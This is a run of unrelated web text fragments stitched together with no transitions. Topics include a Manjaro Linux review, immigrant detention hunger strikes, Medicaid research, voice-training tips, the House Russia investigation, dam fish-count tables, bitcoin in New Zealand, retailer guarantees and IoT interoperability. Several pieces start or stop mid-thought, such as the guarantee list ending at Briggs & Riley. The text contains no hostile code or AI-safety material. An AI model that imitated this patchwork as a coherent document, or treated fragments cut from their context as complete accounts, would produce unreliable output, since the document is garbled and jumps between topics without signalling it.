Unlike some other distributions, Manjaro comes packed with options and settings for configuring it however you’d like. It also ships with a graphical kernel configuration and installation screen which I believe is the first of its kind that I’ve ever seen at least.
I’m looking forward to playing around with Manjaro in the coming days but so far I must admit that I’m impressed, especially considering I had never even heard of this distribution until this week. Check back for my continued updates on my experiences with Manjaro.
The proposed legislation, House Bill 4654, would close schools and state offices on Aug. 4, Obama’s birthday. If the date falls on a Sunday, the following Monday will be observed instead.
The bill is co-sponsored by representatives Thaddeus Jones, Rita Mayfield and Arthur Turner.
"As President Obama serves his final year in office, the timing to make his birthday a state holiday is critical to recognizing his accomplishment and the legacy that he will leave behind for future presidents, Illinois officials and young people who aspire to serve their community," Jones said in a statement.
Before becoming a U.S. Senator and subsequently the country’s Commander-In-Chief, Obama served as an Illinois senator from 1997-2004.
The president will address the state’s General Assembly next week in Springfield amid the state’s historic budget impasse and pension crisis.
Hundreds of immigrants, including asylum seekers, have participated in the hunger strikes in California, Texas and Louisiana.
At least 26 asylum seekers are on hunger strike in the Adelanto facility, a for-profit detention centre in southern California.
They are all that remain of an original 90 hunger strikers who launched the collective fast on November 4.
According to CIVIC, a US-based advocacy group that campaigns for immigrant detainee rights, the US Immigration and Customs Enforcement (ICE) has taken punitive measures in a bid to break the hunger strike.
"There has been a lot of intimidation and threats against the hunger strikers to reduce [their] numbers," Victoria Mena, a monitor at CIVIC, told Al Jazeera, adding that guards have "threatened expedited deportation" in some cases.
In some cases, guards have ordered pizza and eaten it in front of their cells "to tempt them into eating", she said.
RELATED: It's time to legalise all undocumented immigrants
Mostly fleeing from political persecution in countries in the Middle East, Africa and Southeast Asia, the hunger strikers released a list of demands on Wednesday. "We will not eat until we see our freedom," the letter reads.
After turning themselves in at the US border and requesting asylum, the men were brought to the detention centre and issued bails ranging between $24,000 and $54,000, according to Mena.
"We can't buy our freedom with a bond of $50,000 or $45,000," the letter continues, adding that they fled their countries under the belief that the US "fights [for] justice for all".
The strike was held at the same time that another 300 other hunger-strikers - immigrants who were not seeking asylum - refused food for more than a week in the Adelanto centre. They were protesting against harsh conditions, including poor food, limited access to healthcare and harassment by guards.
"This shows how wrong and how devastating this immigration system is," Mena said. "People are willing to risk their lives to show exactly what is happening in these facilities."
Like many of the more than 250 immigration detention centres in the country, Adelanto is administered by Geo Group, a Florida-based private contractor, as part of an agreement with ICE.
The US Congress has set a national quota mandating that ICE hold at least 34,000 immigrants in detention centres each day.
"Profit is being placed over people's lives," Mena said. "The US tells other countries how to handle refugees, but we are putting refugees in jail for undisclosed amounts of time while companies make a profit."
Strikes spreading
Elsewhere, in the T Don Hutto detention centre in southern Texas, a mass hunger strike that started more than two weeks ago peaked with an estimated 500 women, mostly asylum seekers, refusing to eat.
The women are now holding rolling hunger strikes in which 40 to 50 residents of each section of the detention centre take turns refusing food.
Most of the hunger-striking detainees are from El Salvador, Guatemala and Honduras, where female murder rates rank first, second, and seventh, respectively, in the world, according to UN figures.
T Don Hutto's spokesperson has denied that a hunger strike is taking place.
Meanwhile, ICE released a statement saying that it "takes the health, safety and welfare of those in our care very seriously, and we continue to monitor the situation".
RELATED: US urged to free immigrant female hunger strikers
However, according to Cristina Parker, of Grassroots Leadership, an Austin-based group that campaigns against for-profit detention centres, ICE has been interrogating and monitoring hunger strikers.
"They're doing this even though they deny the hunger strike is taking place," she told Al Jazeera.
At least six hunger strikers have been transferred from T Don Hutto since the strike started.
"The women feel like the moves to other detention centres were definitely punitive. They were moved in the middle of the night without prior notification," said Parker.
In mid-October, 54 Southeast Asian asylum seekers held a week-long hunger strike in a detention centre in El Paso, Texas.
In Lasalle detention centre in Louisiana, 14 detainees held a two-week hunger strike in solidarity with the women in T Don Hutto.
Texans United For Families, a coalition of immigrant rights groups, has released audio recordings of phone conversations with the women still on hunger strike in T Don Hutto.
"I cannot continue here because I spent two days in the ice box for punishment," one of the women says, referring to solitary confinement.
Gottlieb based his claim on several studies, such as one of patients with throat cancer that found Medicaid patients and uninsured people were both 50 percent more likely to die than privately insured patients. But, as a recent commentary in The New England Journal of Medicine explains, these studies are “beset by analytic problems.”
Studies that appropriately adjust for the fact that Medicaid enrollees tend to be both sick and poor, as well as other factors that can skew results, “have consistently found that Medicaid coverage leads to health improvements,” conclude the authors, who include noted health policy experts Austin Frakt and Uwe Reinhardt.
George Washington University professors Leighton Ku and Christine Ferguson also point out that Gottlieb confuses causation and correlation: “Patients often become eligible for Medicaid as a result of being sick,” they write. “It is not that Medicaid enrollment causes ill health, but that ill health leads to Medicaid enrollment.”
To be sure, adequate access to physicians — particularly specialists — remains a concern in Medicaid, as a new study notes. But Ku and Ferguson cite abundant evidence that people have much better access to health care when they have Medicaid than when they are uninsured (see graph).
They also cite studies showing that Medicaid and its companion program, the Children’s Health Insurance Program:
have reduced infant mortality rates, child morbidity rates, and incidences of low birth-weight children,
improve the health of adults and children with chronic conditions and special health care needs, and
support preventive care and early diagnosis.
And, as we’ve pointed out, it costs Medicaid much less than private insurance to cover people with similar health status.
While a man’s vocals vibrate in the chest, a woman’s voice comes from higher up in the throat. This explains why a woman’s voice is higher pitched and a man’s is deeper and heavier. In addition to that, women have a musical style to the way they talk, using pitch with ups and lows while men are usually more monotone. Men speak without as many pauses as women and pronounce their words more firmly, ending every sentence with a firm punch. Women have a more airy quality to their style of speech, pronouncing words softly. Use the following tips from your LA Speech therapists to assist you in your voice training.
Practice Resonance and Pitch Control
The transition from speaking through your chest to your throat can be a difficult one, but it is possible with practice. Start by placing your hand on your chest and make a deep “ahh” sound, you should feel the vibrations in your chest. Now repeat this step, but make a softer, higher pitched “ahh.” You should no longer feel the vibration in your chest but from your throat. This can help you shift the location of your resonance from your chest to your throat.
Intonation
Keep your cheeks loose and say a sentence like “WOW! This is so COOL!” Emphasize on the capitalized words. Now say the same sentence, but your cheeks tucked in tight; this will slightly decrease the resonance location. Now try to intonate by pushing your words through all different parts of your mouth. Say “woah thEEEEse voiiiice TIPS are reeeal-LY coooool.” You should now start to feel the resonance getting higher and higher, moving closer to your throat.
Softer Pronunciation and Pauses
Pronounce these words phonetically “af-TER kic-KING MY foot I cried ow-T - that hurt so bahhhhhd,” Notice, in the beginning of the sentence there are a lot of firm word endings and at the end of the sentence the words are much softer and breathier.
Los Angeles Speech Therapy
Take the concept of a basic income as a measure of that truth. Yesterday we noted how the idea of some kind of baseline income could be of great help to the marginalized. Many progressives are shocked when they discover that libertarian economist Milton Friedman threw his support behind early efforts of what was then called a “Guaranteed Annual Income,” but which he preferred to label a “negative income tax.” From across the political and economic spectrums came support. Left-learning economists like James Tobin and John Kenneth Galbraith got behind Friedman.
It was Martin Luther King Jr. a few years previous who brought the basic income concept to more popular attention in his book Where to Go From Here: Chaos or Community?
“I am now convinced that the simplest approach will prove to be the most effective – the solution to poverty is to abolish it directly by a now widely discussed measure: the guaranteed income.”
Even in 1972, as George McGovern challenged Richard Nixon for the presidency, one of his key proposals was the implementation of a more generous basic income. Nixon won and the initiative was lost, at least for a time.
It seems to have been around forever, but it is only in recent years in Canada that it has come to the fore as the nation deals with the complexity and incessant growth of poverty itself. Former senator and Mulroney Chief of Staff Hugh Segal has pushed the concept for two decades, acquiring along the way some key support. In frustrating fashion, however, it languished interminably in that spot between good intentions and decisive action.
The Great Recession of just a few years ago created significant fallout in everything from shrinking government resources and unemployment to general distemper among the citizenry. Poverty itself was quickly being vaulted to the front of the line when it came to policy matters. People began talking about the urgent need for a housing strategy for the homeless and more effective poverty reduction initiatives in Canadian communities. Increased talk moved through political circles about other nations that had practiced various forms of basic income for decades and there was an openness to explore such options within the Canadian context.
And now it seems that time itself has created a ready audience for the concept of a basic income in Canada itself. It was slow in coming, but now that it has arrived, Warhol’s observation that things won’t change unless we change them ourselves seems achievable. Canadians themselves are increasingly impatient over the poverty situation in the nation, and especially the growing gap between the rich and poor. The idea of a basic income is emerging again, only this time to a more willing audience. Breaking ground and instilling a willingness to move forward on the concept may have taken decades, but those years weren’t wasted or lost. They accomplished their work and prepared us for something not only innovative, but perhaps revolutionary.
Conaway will have help from Reps. Trey Gowdy Harold (Trey) Watson GowdyThe family secret Bruce Ohr told Rod Rosenstein about Russia case Trey Gowdy joins Fox News as a contributor Congress must take the next steps on federal criminal justice reforms MORE (R-S.C.) and Tom Rooney (R-Fla.) as he pursues the politically charged review of Russia, its election activities and its possible connections to the Trump campaign
It is unclear how Conaway will split responsibilities with Gowdy and Rooney, as Nunes specified only that they would provide “assistance” to the new leader as he takes charge of the Russia probe.
Gowdy is no stranger to contentious investigations, having led the two-year special review of the September 2012 attacks on a U.S. diplomatic compound in Benghazi, Libya.
Here are five questions for the House’s Russia investigation moving forward.
Will Conaway give attention to Nunes’ claims of incidental collection?
The focus of the House investigation last month fell on the possibility that Trump associates were part of intelligence surveillance after the election. Nunes revealed the possibility of that collection in an unusual public statement, citing an intelligence source.
Democrats clamored for Nunes to recuse himself from the investigation after details emerged about him meeting with his source on White House grounds — raising suspicion that his disclosure had been coordinated by the administration.
Nunes’ recusal gives the committee an opportunity to get back to regular order, though some Republicans still want answers on whether the Obama administration improperly requested the “unmasking” of Trump associates in intelligence reports.
Republicans have linked the “unmasking” to intelligence leaks to the media about contacts between Trump associates— former national security adviser Michael Flynn among them — and Russian officials. The committee’s investigation covers leaks of classified information.
Gowdy pressed FBI Directory James Comey on “unmasking” authorities during a hearing on March 20 hearing. The congressman suggested that former Obama administration officials — including former national security adviser Susan Rice — could have been the source of leaks to the media about Flynn’s communications.
Rice has flatly denied that she unmasked the identities of U.S. persons for political purposes.
“The notion, which some people are trying to suggest, that by asking for the identity of the American person is the same is leaking it — that’s completely false,” Rice told MSNBC. “There is no equivalence between so-called unmasking and leaking.”
CNN reported that lawmakers and aides from both parties who have viewed the documents seen by Nunes have not found any evidence of wrongdoing.
But Conaway could feel pressure from his Republican colleagues to investigate further.
How will the panel avoid conflict with the FBI’s investigation?
The committee has not held a public hearing on Russia since Comey revealed that the FBI is investigating possible links or coordination between members of Trump’s campaign and Moscow. That will change on May 2, when a public hearing is set with several witnesses, including former acting Attorney General Sally Yates, a holdover from the Obama administration who was fired by President Trump.
Wit the committees in the House and Senate as well as the FBI each spearheading separate probes into the election interference, lawmakers will have to be careful not to compromise the work of law enforcement.
Mieke Eoyang, a former staffer on the House Intelligence Committee, told The Hill that Conaway, Gowdy and Rooney need to make sure that their investigation is “not going too fast to get in the way of the FBI’s investigation, but going fast enough to show that they’re keeping their investigation on track.”
The FBI is running a counterintelligence probe and looking at whether any crimes were committed. Congressional probes are traditionally focused on oversight, addressing problems through legislative authority, and fact gathering on behalf of the American people.
Still, the bureau and congressional committees are likely to see overlap in the witnesses they are interested in hearing from, particularly Trump associates who are suspected of having contacts with Russia.
Will Conaway maintain a bipartisan tone with ranking member Adam Schiff Adam Bennett SchiffHouse Democrats file legislation to ensure Mueller report released Hannity echoes Bill Maher, invites Schiff to appear on show Curtain rises on 3 days of Cohen drama MORE?
Last month saw a breakdown in the leadership on the House panel, with ranking member Adam Schiff (D-Calif.) joining a chorus of Democrats demanding Nunes’s recusal.
The strife in the House stood in sharp contrast to the Senate Intelligence Committee, where Chairman Richard Burr Richard Mauze BurrFive things to watch as Michael Cohen testifies Cohen grilled by Senate Intelligence panel Hillicon Valley: Senators urge Trump to bar Huawei products from electric grid | Ex-security officials condemn Trump emergency declaration | New malicious cyber tool found | Facebook faces questions on treatment of moderators MORE (R-N.C.) and ranking member Mark Warner Mark Robert WarnerVirginia man charged after threatening Sen. Mark Warner Cohen grilled by Senate Intelligence panel Hillicon Valley: Senators urge Trump to bar Huawei products from electric grid | Ex-security officials condemn Trump emergency declaration | New malicious cyber tool found | Facebook faces questions on treatment of moderators MORE (D-Va.) held a press conference to promise a bipartisan investigation.
Conaway’s temporary appointment gives the House Intelligence committee a chance to lower the temperature amid growing calls from Democrats for an independent commission to investigate Russia.
Schiff said he respected Nunes’s recusal and that he looks forward to working with Conaway to put the investigation “fully back on track.”
Conaway, who has been on the committee for more than eight years, has said that he wants to work with Schiff.
“My profession as a [certified public accountant] and auditor has taught me to be objective and methodical, and that is how I intend to help lead this investigation,” Conaway said in a statement on April 6. “I am confident that Ranking Member Schiff and I will be able to work together to conduct an effective, bipartisan investigation.”
Will the committee take Michael Flynn up on his offer of immunity?
Flynn has offered to be interviewed by the FBI and congressional lawmakers investigating Russian election interference in exchange for immunity from prosecution.
The former White House national security adviser is known to have had contacts with Russia’s ambassador to the United States and has also been scrutinized for tens of thousands of dollars in payments he received from Russian organizations, including $45,00 from Moscow’s state-controlled media outlet, RT.
Flynn resigned from his White House post after not telling administration officials the full truth about his phone calls with Russian Ambassador Sergey Kislyak after the election.
The Senate has reportedly rejected Flynn’s immunity offer — for now. Schiff said late last month that the House committee members would discuss the offer with their counterparts in the Senate and the Justice Department, indicating that they would wait to hear from other witnesses before considering any such request.
“While Mr. Flynn’s testimony is of great interest to our committee, we are also deeply mindful of the interests of the Department of Justice in this matter,” Schiff said. “There is still much work and many more witnesses and documents to obtain before any immunity request from any witness can be considered.”
Who will be called to testify?
Besides Yates, former CIA Director John Brennan and former Director of National Intelligence James Clapper are set to testify at the May 2 public hearing.
What's unknown is whether several Trump campaign members and associates will eventually testify.
Both former Trump campaign manager Paul Manafort and former foreign policy adviser Carter Page along with Roger Stone — a longtime Trump ally who has admitted to having contact with Guccifer 2.0, the hacker persona who claimed responsibility for the hack of the Democratic National Committee — have offered to testify before the House Intelligence Committee as part of the Russia investigation.
As the new interim leader, Conaway will be able to set the committee’s agenda for the investigation and potentially call these witnesses to be interviewed.
A spokesman for Manafort, who resigned as Trump’s campaign chair last August amid scrutiny over his past work for Russian-backed Ukrainian president Viktor Yanukovych, said last week that he might register as a foreign agent.
The Washington Post also recently reported that the FBI obtained a FISA warrant to monitor communications of Page under suspicion that he was acting as an agent of a foreign power.
Page, who made the rounds on television last week, has denied that he acted as a foreign agent. But during an interview with ABC’s George Stephanopoulos, Page would not rule out discussing sanctions on Moscow with Russian officials.
Spring Chinook Summer Chinook Fall Chinook 2018 2017 10-yr Avg 2018 2017 10-yr Avg 2018 2017 10-yr Avg Dam End Date Adult Jack Adult Jack Adult Jack Adult Jack Adult Jack Adult Jack Adult Jack Adult Jack Adult Jack BON 02/24 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 TDA JDA 02/25 7 0 1 5 0 0 0 0 0 0 0 0 MCN IHR 02/23 -2 0 0 0 0 0 0 0 0 0 0 0 LMN LGS LGR PRD WAN RIS RRH WEL WFA 02/25 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
Coho Sockeye Steelhead Lamprey Shad 2018 2017 10-yr Avg 2018 2017 10-yr Avg 2018 2017 10 Year 2018 2017 10 Year 2018 2017 10 Year 2018 2017 10 Year Dam End Date Adult Jack Adult Jack Adult Jack Adult Adult Adult Adult Adult Adult Unclipped Unclipped Unclipped BON 02/24 4 1 1 -1 0 0 0 0 0 238 599 706 115 260 . 263 -35 0 0 0 0 0 TDA . JDA 02/25 18 -12 0 1 0 0 130 714 54 . 259 2 -1 0 0 MCN . IHR 02/23 1 0 0 0 0 0 167 419 53 . 155 0 0 0 0 LMN . LGS . LGR . PRD . WAN . RIS . RRH . WEL . WFA 02/25 0 0 0 2 0 0 0 0 0 482 514 1476 482 512 . 48 0 0 0 0 0 0
NOTES:
Since the year 2006, Priest Rapids Dam jack counts have included mini jacks.
BON=Bonneville, TDA=The Dalles, JDA=John Day, MCN=McNary, LMN=Lower Monumental, LGS=Little Goose, LGR=Lower Granite, PRD=Priest Rapids, RIS=Rock Island, RRH=Rocky Reach, WEL=Wells, WFA Willamette Falls Dam
This report is based on historic dam counting dates. In January and February, Willamette Falls Dam is the only project that appears on the report because historically it collected data during this time period.
End Date is the last day of data we have for that site - the 2014 and 10 year average are also run to this end date.
PRD is not posting wild steelhead numbers.
These numbers were collected from USACE, Grant PUD, Douglas PUD, Chelan PUD, ODFW and DART.
Shad data are not available at WEL, WFA, RIS, and RRH.
Wild steelhead numbers are included in the total. Wild Steelhead are defined as unclipped fish.
Historic counts (pre-1996) were obtained from CRITFC and compiled by the FPC.
Historic counts 1997 to present were obtained from the Corps of Engineers.
Page design last updated on: March 9, 2018
Photo Swiss Hockey News
EHC Winterhtur (3-0 series win against Chur) and EHC Wiki-Münsingen (3-0 against Thun) are both already qualified for the last round. In the Romandie, the series between HC Sion-Nendaz 4 Vallés and Forward Morges is tied as both have won one game so far. (lcu)
The final round will start on Saturday, March 28. The full schedule is as folllows:
March 28 EHC Winterthur vs EHC Wiki-Münsingen
March 31 EHC Wiki-Münsingen vs Champion Suisse Romande
April 2 Champion Suisse Romande vs EHC Winterthur
April 4 EHC Wiki-Münsingen vs EHC Winterthur
April 7 Champion Suisse Romande vs EHC Wiki-Münsingen
April 9 EHC Winterthur vs Champion Suisse Romande
In January the US Senate intelligence committee launched an investigation into whether Bigelow and screenwriter Mark Boal were granted "inappropriate access" to classified CIA material following concern from high-profile members over the film's depiction of torture in the search for the al-Qaida chief. The probe was dropped in February after Zero Dark Thirty, which had initially been tipped as an Oscars frontrunner, left the world's most famous film ceremony with just a single award for sound editing.
However according to Gawker it has now emerged that the CIA did successfully pressure Boal to remove certain scenes from the Zero Dark Thirty script, some of which might have cast the agency in a negative light. Details emerged in a memo released under a US Freedom of Information Act request. It summarises five conference calls held in late 2011 for staff in the agency's Office of Public Affairs "to help promote an appropriate portrayal of the agency and the Bin Laden operation".
Several elements of the draft screenplay for Zero Dark Thirty were changed for the final film upon agency request, according to the memo. Jessica Chastain's Maya, the film's main protagonist, was originally seen participating in an early water-boarding torture scene, but in the final film she is only an observer. A scene in which a dog is used to interrogate a suspect was also excised from the shooting script. Finally a segue in which agents party on a rooftop in Islamabad, drinking and shooting off an AK47 in celebration, was also removed upon CIA insistence. This was agreed to despite the documented use of aggressive dogs in US interrogations of terror suspects at Guantánamo Bay in the early days of George W Bush's war on terror, and despite some of the photographs from the later Abu Ghraib scandal featuring dogs menacing naked prisoners.
The memo appears to confirm suspicions of a cosy relationship between the CIA and Boal, with the agency confident it would be portrayed positively due to the level of help it had provided to the film-makers. "As an agency, we've been pretty forward-leaning with Boal," a CIA staff member wrote to colleagues in documents released last year. "He's agreed to share scripts and details about the movie with us so we're absolutely comfortable with what he will be showing."
Ontario’s Court of Appeal refused their request.
The three-judge panel unanimously said it sees no legal reason to overturn a lower court ruling that the case should proceed.
Ontario launched a lawsuit against 14 tobacco companies in September 2009 to try to recoup past and present health-care costs related to smoking.
The province claims the corporations should be on the hook for billions of dollars because they misrepresented the risks of smoking, did not take steps to reduce the effects and marketed cigarettes toward children and teens.
The tobacco companies argued that Barbara Ann Conway of the Ontario Superior Court of Justice erred in concluding she had jurisdiction to hear the case.
“We are not persuaded that any of the appellants have demonstrated such error,” the appeals court wrote in a 43-page ruling.
The Ontario government issued a statement saying it was pleased with the court decision.
The tobacco companies include four large multinationals, three of which include Canadian manufacturers. They are BAT Group (which includes Imperial Tobacco Canada Ltd.); Rothmans Group (Rothmans, Benson & Hedges Inc. and Rothmans Inc.); RJR Group (JTI-Macdonald Corp. and Macdonald Tobacco Inc.); and the Philip Morris Group.
They claim Ontario’s lawsuit is based on a false theory that the companies conspired in the 1950s to withhold information from Ontario smokers about the harmful and addictive ingredients in cigarettes.
The companies contend there is no evidence that a conspiracy ever took place or that they specifically targeted Ontario. British American Tobacco notes it did not even exist until 1997.
None of the allegations have been proven in court.
The Ontario government says smoking is the leading cause of premature deaths and illness in the province and costs the health-care system $1.6 billion a year.
Every province except Nova Scotia has filed similar lawsuits.
Foreign parent companies tried to have themselves removed from the lawsuits in British Columbia and New Brunswick, but both courts turned them down and the Supreme Court of Canada denied the companies’ requests to appeal.
Bitcoin reached a new all-time high in June when it inched close to the $3,000 mark after an impressive six-month rally that saw the cryptocurrency triple in value. Unsurprisingly, bitcoin has been all over the media in the past few months as global adoption and the demand is increasing. However, adoption rates are faster in some countries, such as Japan, China, and India than others. One of the countries where bitcoin adoption is slower than expected is New Zealand.
According to a report by local news publication, bitcoin adoption has been slow in New Zealand because it is not that easy to actually buy bitcoin locally using the New Zealand dollar. Bitcoin buying options for New Zealanders are effectively limited to peer-to-peer exchanges such as LocalBitcoins and Paxful, where buy prices usually come with a high premium and the country only has a handful of local exchanges, such as NZBCX and Cryptopia.
There is also the bitcoin exchange Coined, which allows users to buy the cryptocurrency using online bank deposits but on its website, it states, “The [bitcoin order] queue has been full for six days, five hours. Coined’s current bitcoin reserves have been depleted due to high demand. Use the form below to receive notification when your order can be placed.” Also, according to news publication Stuff, there is a bitcoin ATM in an Auckland bar that has not really attracted many users.
The reason for the limited buying options in New Zealand is the challenges that both bitcoin startups and individual bitcoiners are facing when dealing with local banks. Unfortunately, this is not a new phenomenon in the Bitcoin economy and has also been a prevalent issue in the United Kingdom where banks have closed bank accounts of users who have purchased bitcoin using bank transfers and have closed bank accounts of bitcoin startups to ebb the growth of cryptocurrencies.
NZBCX founder Dave Seyb highlighted the difficulties bitcoin startups are facing in New Zealand when it comes to setting up a business bank account in an interview with Newsroom:
“NZBCX is a bitcoin exchange and like anyone dealing with cryptocurrency in New Zealand, faces an almost automatic bank lockout, [which] makes it impossible to get venture funding.”
Seyb’s claim is not disputed by Peter Fletcher-Dobson, Kiwibank’s Digital Advisor, who told Newsroom that it is difficult to set up a cryptocurrency business in the country due to the banks’ risk-averse approach to digital currency innovation:
“[…] it is very challenging for them to operate legally, because there is no true digital identity solution that bridges crypto and fiat financial systems.”
If New Zealand wants to embrace FinTech innovation it would not be wise to neglect cryptocurrencies. Neighbouring Australia, for example, has taken a more positive stance towards digital currencies and, as a result, now hosts several leading blockchain companies that are developing impactful FinTech solutions.
The Brand: L.L. Bean
The Promise: “100% Satisfaction Guaranteed”
The Details: “We do not want you to have anything from L.L. Bean that is not completely satisfactory.”
The Catch: None.
The Brand: Davek
The Promise: “Unconditional Lifetime Guarantee”
The Details: Most umbrellas last less than two years—some, less than two weeks. But Davek will repair its umbrellas if “at any time… the umbrellas should fail to function properly.”
The Catch: Must register umbrella and pay $9.95 S&H
The Brand: Darn Tough
The Promise: “Unconditional Lifetime Guarantee”
The Details: “If our socks are not the most comfortable and durable socks you have ever owned, return them for another pair or your money back. No strings. No Conditions. For Life.”
The Catch: None.
The Brand: Nordstrom
The Promise: “Don’t Love It? Don’t Worry”
The Details: This venerated retailer will accept returns anytime after purchase, even if you’ve lost the receipt. (That old story about the guy who returned his snow tires, however, is up for debate.)
The Catch: It might take 14 days for the credit to appear on your credit card. Original shipping charges not included.
The Brand: Polar Bottle
The Promise: “Our Guarantee”
The Details: “If anything ever happens” to one of these insulated drink containers, or if “you are otherwise unhappy with the product,” e-mail HQ and “we will take care of you.”
The Catch: We couldn’t find one.
The Brand: Land’s End
The Promise: “We Want Nothing Less Than Your Absolute Satisfaction”
The Details: These dudes are serious. If you don’t like what you bought, return it for a refund or exchange anytime after purchase. “We mean every word of it. Whatever. Whenever. Always.”
The Catch: None. They’ve even registered the slogan “Guaranteed. Period.”
The Brand: Omaha Steaks
The Promise: “Unconditional Guarantee”
The Details: Got a beef with your mail-order beef? No worries. “If you are not absolutely thrilled” with your mail-order steak, “we’ll cheerfully replace your purchase or refund your money.” (Y’hear that? Cheerfully.)
The Catch: None we could find.
The Brand: Eddie Bauer
The Promise: “Unconditional Lifetime Guarantee”
The Details: EB’s goods are “designed to be the best and built to last. If anything falls short of those standards, you’re invited to return it at any time.” (Refunds are given, too.)
The Catch: None. “It’s unconditional.”
The Brand: Bogs
The Promise: “100% Satisfaction Guarantee”
The Details: Footwear will meet “the high standards that you expect. If they do not, just return them for a replacement or a refund.”
The Catch: None we can see.
The Brand: Briggs & Riley
The Promise: “Lifetime Guarantee”
The offer by the bank will benefit accidental landlords the most, according to the Irish Independent, which broke the story this morning. It also reports that financial experts believe other banks will begin to offer something similar in the near future.
In a statement to TheJournal.ie, Permanent TSB confirmed that it is writing to “certain buy-to-let mortgage customers” whose loans have been “non-performing for an extended period of time”.
Customers would have to agree to let the bank sell their properties in what’s called a voluntary surrender in order to secure the debt clearance. The bank said that at present there were no plans to extend the offer to private householders or other mortgage holders who aren’t landlords.
“For customers who are offered and who agree to a voluntary surrender in this initiative, the bank has agreed to clear any arrears or shortfalls that remain on the loan after the property has been sold and that it will not seek any further repayment by the borrowers in respect of the relevant mortgage,” the bank said.
The offer isn’t being made to all landlords however – it’s made to a select few customers based on the bank’s “detailed review of the relevant loan accounts”, as well as a declaration of assets and other documents that must be submitted.
The offer is limited to customers that the bank decides genuinely cannot repay their loan.
The offer is limited to customers who the bank believes have no means of meeting the repayment terms of the loan or the shortfall debt which will arise upon the sale of the property.
A spokesman for Permanent TSB said that the move followed recent comments by the Group Chief Executive of Permanent TSB, Jeremy Masding who said the bank would pursue a number of actions to deal with non-performing loans and that this initiative was part of that plan.
“While this current initiative is limited in scope, it is one of a number of initiatives which we are pursuing to reduce the number of non-performing loans at the bank. We believe it merits serious consideration by those customers who are invited to participate.”
In truth, the ECB did as much as could have been expected at this meeting. It cut interest takes, taking the historic step of making commercial banks pay for lodging money at the ECB. And it came up with its version of the Bank of England's funding for lending scheme (FLS) with a targeted scheme that will reward banks that bump up their lending to private firms. This excludes lending to the real estate market, which shows that the ECB has learned some lessons from the FLS, which was a lot more successful at boosting mortgage lending than at providing funds for small- and medium-sized companies.
Was this action justified? There is no question that it was. Even the hawks on the ECB council led by Germany's Jens Weidmann are uncomfortable with an inflation rate of 0.5% and annual growth in the money supply of 1%. Inflation and the money supply are the twin pillars of ECB policy: both are running well below target.
What’s important about the IoT typically isn’t what any single device can do. The magic happens when multiple devices start interacting with each other. Nicholas Negroponte rightly criticizes the flood of boring Internet-enabled devices: an oven that can be controlled by your phone, a washing machines that texts you when it’s done, and so on. An oven gets interesting when it detects the chicken you put in it, and sets itself accordingly. A washing machine gets interesting if it can detect the clothes you’re putting into it and automatically determine what cycle to run. That requires standards for how the washer communicates with the washed. It’s meaningless if every clothing manufacturer implements a different, proprietary standard for NFC-enabled tags.
We’re already seeing this in lighting: there are several manufacturers of smart network-enabled light bulbs, but as far as I can tell, each one is controlled by a vendor-specific app. And I can think of nothing worse for the future of home lighting than having to remember whether the lights in the bedroom were made by Sylvania or Philips before I can turn them off. Philips’ API for their Hue light bulbs is a great start, particularly in the way they encourage interoperability between third party applications: “You are free to develop any kind of application you can imagine. … We want all your apps to work with our API to form a rich ecosystem of interoperable applications.” But that only gets us part of the way there. What about other vendors? After reading their terms of use, I suspect strongly that Philips would not be pleased by other light bulb manufacturers using the Hue API for their bulbs. Can an API be copyrighted or patented? That question is working its way through the appellate courts now, in the notorious Oracle v. Google case.
A light bulb, even a high-tech smart LED light bulb, is a simple device. What do proprietary apps mean for larger, more complex devices, like cars? It’s all very well that one can use the Tesla app to communicate with a Tesla automobile, but for a real automotive Internet of Things, you want cars from different manufacturers to share information like traffic, road conditions, etc. Now, you might say this isn’t really the IoT — it’s just the Internet — since apps like Google Maps and Waze already do that on our smartphones, and they just ought to do it for our cars. And that’s exactly right. Those same apps from our phones ought to work in our cars, from car to car and from phone to car. According to Tim O’Reilly, the worst feature of his Tesla Model S is its non-standard software. Its licensed version of Google Maps has such a bad implementation of real-time traffic that you have to use maps on your phone (and this in a car with a full-featured web browser, in which access to Google Maps is disabled so they can sell you an “enhanced” electronics “upgrade” that includes their own broken version of Google Maps!) And while he loves being able to track the location of the car via the Tesla app, it is slow and buggy. How much better would it be if our cars and phones could share location data transparently with friends and family, with the information showing up in the mapping applications we already use.
One of the defining events of the early Internet was Interop, where device makers got together to make sure their devices could interoperate. (Interop is now largely marketing, a giant shadow of its former self.) We didn’t want a Cisco Internet and a Wellfleet Internet and a Bay Networks Internet, none of which could talk to each other. But now that we’re talking about “Things,” we’re about to build the mess that we avoided in the late 80s.
One reason the Internet works is that vendors weren’t allowed to implement protocols in a vacuum. The IETF would not standardize a protocol without “multiple, independent, and interoperable implementations.” And in practice, many of these implementations were based on publicly available code: for example, the BSD UNIX implementation of TCP/IP. That’s a good practice to remember. If the code isn’t visible, there are bound to be corner cases, gotchas, and maybe even secretive “embrace and extend” features to compromise interoperability.
The robustness principle is another of the Internet’s defining features: an implementation must “be conservative in what you do, be liberal in what you accept from others.” That is, participants should send data that obeys the specifications, but they should be willing to accept data that doesn’t. Again, this is about interoperability. If devices can only interact if they both interpret and implement protocols identically, we aren’t going anywhere. You might achieve interoperability between products from a single vendor (though even that seems doubtful), but you’ll never get frictionless interactions between products from different vendors. My Maytag washer might understand the tags on my Levis, but not on my shirts. A Tesla might be able to exchange information about road conditions with a Lexus, but not a Ford.
An Internet of standalone devices that don’t interoperate, whose only interaction is with a proprietary app that only runs on one brand of mobile phone: that’s just not interesting. That’s not a future. It might make a few geeks happy, and it might make an even smaller number of geeks wealthy, but I can’t imagine it ever becoming more than a curiosity. The engineers who designed the Internet — the Cerfs, the Kahns, the Postels — were wiser than that and developed a culture of interoperability from which everyone benefitted. Can a similar culture arise among the makers of Things? I hope so, but it’s not a sure thing.
Unfortunately, we’re still in a world where a manufacturer’s first reaction is to lock things down, to make devices incompatible, in an attempt to extract as much profit as possible from the system. If this is your mindset, you’re not going to release an API (as Philips did), let alone encourage your competition to build on the same API (as Philips hasn’t). And if you’re the competition, you’re more likely to develop your own API than to support your competitors’, even if doing so would provide a better market for all parties..
